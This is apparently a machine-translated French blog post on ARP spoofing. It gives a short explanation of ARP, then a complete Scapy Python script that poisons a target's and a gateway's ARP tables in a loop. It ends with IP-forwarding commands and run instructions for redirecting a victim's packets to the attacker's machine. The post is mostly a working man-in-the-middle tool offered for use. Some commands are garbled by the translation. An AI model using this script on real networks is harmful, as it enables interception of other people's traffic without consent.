Usurpation ARP
Tout d'abord, je vais vous expliquer ce qu'est l'ARP à ma manière. (Je pense que c'est facile à comprendre si vous faites un chiffre) Dans la communication au sein de la zone locale (couche 2 ou inférieure), l'adresse MAC est vérifiée à partir de l'adresse IP et la communication est effectuée sur la base de cette adresse MAC. C'est pourquoi le protocole ARP se charge de la partie "recherche de l'adresse MAC à partir de l'adresse IP". Maintenant que vous avez une idée approximative du fonctionnement de l'ARP, il s'agit de l'usurpation d'ARP, mais l'opération consistant à trouver l'adresse MAC à partir de l'adresse IP n'est pas pratique si vous le faites à chaque fois que vous communiquez, n'est-ce pas? En fait, le terminal possède les données qui indiquent "Cette adresse IP est cette adresse MAC". Et c'est l'usurpation ARP qui tente de changer (tromper) les données correspondantes (ci-après dénommées table ARP). Si vous faites cela, vous enverrez un paquet au terminal de l'attaquant qui serait autrement envoyé au routeur, et vous pouvez également modifier la table ARP du routeur pour bien pénétrer dans la communication. Le programme suivant effectue les opérations suivantes:
#coding:utf-8
from scapy.all import *
import time
import sys
conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
try:
print "[*] Start ARPspoofing..."
poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
except KeyboardInterrupt:
pass
finally:
time.sleep(2)
restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
poisoning_target = Ether(dst=target_mac)/ARP()
poisoning_target.op = 2
poisoning_target.psrc = gateway_ip
poisoning_target.pdst = target_ip
poisoning_gateway = Ether(dst=gateway_mac)/ARP()
poisoning_gateway.op = 2
poisoning_gateway.psrc = target_ip
poisoning_gateway.pdst = gateway_ip
while True:
sendp(poisoning_target)
sendp(poisoning_gateway)
time.sleep(5)
print "[*] Finished."
return
def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
print "[*] Restoring target."
send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)
if __name__=="__main__":
main()
Pour Mac
sudo sysctl -w net.inet.ip.forwarding=1
Pour Linux
sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1
Courir
sudo python arpspoofing.passerelle IP passerelle IP MAC cible IP cible MAC
Tous les paquets transmis du terminal spécifié par la cible voleront vers votre terminal.
Auparavant, l'adresse MAC de l'autre partie (passerelle, cible) était obtenue par diffusion, mais l'adresse MAC de votre terminal (attaquant) incluse dans le paquet de requête envoyé à ce moment est spécifiée. J'ai décidé de le spécifier car l'adresse MAC peut être dupliquée lors de l'exécution de spuffing ARP car elle se trouve sur la table ARP. Cependant, puisque l'adresse MAC de l'attaquant existe dans la passerelle avant d'effectuer l'usurpation ARP, il y aura duplication. .. Donc, comme solution, je pense maintenant, je pense à l'usurpation de l'adresse MAC de l'attaquant. Cela peut être une machine virtuelle
Livre référencé https://www.oreilly.co.jp/books/9784873117317/
Recommended Posts